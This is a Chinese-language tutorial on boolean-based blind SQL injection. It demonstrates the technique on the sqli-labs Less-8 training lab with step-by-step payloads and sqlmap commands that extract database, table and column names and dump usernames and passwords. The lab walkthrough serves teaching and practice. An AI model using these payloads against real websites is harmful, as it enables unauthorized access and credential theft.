sql注入之布爾盲注
sql注入之布爾盲注
安全聲明
本教程僅用于教育和合法的安全研究,sql注入本身是一種非法的行為,未經允許請不要對網站進行測試
前置技能點
-
sql注入的原理(知道如何去利用)
-
如何獲取數據(知道數據在那個表里面)
不同注入類型利用的時機
獲取數據最直接的注入方式就是聯合注入,為什么不能一招鮮吃遍天呢?原因在于本身聯合注入需要頁面有回顯的地方讓我們看到數據,同理報錯注入也需要頁面可以把錯誤信息返回到頁面,攻擊者可以利用錯誤信息得到數據庫的數據。這些注入的前提就是需要回顯點。
那么對于沒有回顯的地方我們就需要利用盲注了,盲注分為時間盲注和布爾盲注,時間盲注利用sleep()函數導致服務器返回的響應會比正常響應慢,利用這個去判斷數據庫中有什么信息;而布爾盲注利用頁面返回的內容的差異去判斷數據庫中的數據。這篇文章我們主要介紹布爾盲注。
判斷什么時候需要利用布爾盲注
因為不能用可以直接回顯的類型,如聯合注入和報錯注入
一個是網站不會顯示數據,沒有回顯,例如只有登錄成功和登錄失敗這兩個回顯內容,自然就不會把數據庫中的數據回顯到頁面去;另外就是服務器抑制了錯誤的輸出,攻擊者不能利用錯誤信息進行測試。
而登錄成功和登錄失敗的本質也是查詢語句查詢成功有數據內容或查詢失敗數據為空,有明顯的真與假的區別,我們就可以構造sql語句去判斷查詢的內容的真假,這就是布爾盲注。
總而言之
因為不能用聯合查詢或報錯查詢,并且頁面的響應有明顯的真和假的特征并可以利用,我們就可以用布爾注入了
如何利用真假判斷獲取數據
-
知道sql語言中的一些函數
length():返回字符串內容的長度,例如length("hello")返回5

返回0就是假
substr():截取字符串的一部分,例如substr("hello",2,1)從hello中從第二個字符開始取一個字符得到e,注意這里的所以是從1開始。

mid()的用法和substr是一樣的,不多介紹
left():字符串從往右取一定數量的字符,例如left("hello",2)返回he

right()的話就是從右往左,和left的用法一樣
left和right可以結合起來用,在mid和substr被過濾的時候的替代方法,例如hello中我想拿到el,則可以:right(left("hello",3),2)

ascii():可以返回字符對應的ascii碼,例如ascii('r')返回114

ord的用法和ascii一樣,不多介紹
-
查詢內容的長度
例如數據庫名字長度:length(database)>10,利用二分法不斷地嘗試得到長度
例如所有數據庫名的長度:
length((select group_concat(schema_name) from information_schema.schemata))>20例如所有當前數據庫所有表名的結果長度:
length((select group_concat(teable_name) from inforamtion_schema.tables where table_schema=database()))>20例如……
-
查詢內容字符的ascii值
上面判斷完長度就可以判斷字符了,例如當前數據庫名字:ascii(substr((select database),1,1))>32,也是使用二分法去不斷地嘗試得到ascii碼,然后把位置換到下一個去測試,知道達到上面測試得到的長度,再利用在線工具解碼就可以了
接著把查詢的語句換一下去查詢有什么表有什么字段,然后dump數據,都在聯合注入中有提到,直接用就行了
靶場演示
sqli-labs:level8
傳遞id=1

傳遞id=-1

傳遞id=1'"

經過嘗試頁面只會顯示You are in......或者不顯示內容,不能使用聯合注入和報錯注入,可以嘗試時間盲注或者布爾盲注,不過這里有明顯的真與假的特征,我們就用布爾盲注測試
實驗步驟
手工
-
判斷閉合類型
經過嘗試
1' and 1=1 -- -知道是單引號字符型注入
-
測試當前數據庫名的長度
payload:
1' and length(database()>6-- -經過嘗試得到數據庫長度為8

-
遍歷數據庫名字字符
payload:
1' and ascii(substr(database(),1,1)>32-- -利用二分法知道第一個字符的ascii是115,也就是‘s’

然后利用腳本或者bp實現自動化遍歷字符,得到數據庫為‘security’
-
測試查詢當前數據庫所有表的結果的長度
payload:
1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database())>29-- -經過測試,長度為29:

-
遍歷所有表名的字符
payload:
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101-- -
知道了第一個字符是e,后面繼續用自動化工具去遍歷就可以得到:emails,referers,uagents,users
-
測試指定表的字段的結果的長度
猜測users里面有用戶密碼等信息,先測試這個
payload:
1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20-- -經過測試,知道長度為20:

-
遍歷字段的字符
payload:
1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105-- -得到第一個字符為105→“i”

繼續通過bp爆破得到字段為:id,username,password
-
遍歷值
直接查詢username和password字段長度
payload:
1' and length((select group_concat(username,":",password) from users))=189-- -經過測試得到長度為189,還是很長的
接下來遍歷內容:
payload:
1' and ascii(substr((select group_concat(username,":",password) from users),1,1))=68-- -經過測試得到第一個字符為68→“D”:

繼續利用bp爆破得到剩余的內容得到:
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
sqlmap
# 指定注入類型為布爾盲注,遍歷數據庫名,線程10
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --dbs --threads=10 --batch
# 遍歷所有表名
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --tables -D 'security' --threads=10
# 遍歷字段
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --columns -T 'users' -D 'security' --threads=10 --batch
# 遍歷username和password的內容
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --columns -T 'users' -D 'security' --threads=10 --dump --batch

浙公網安備 33010602011771號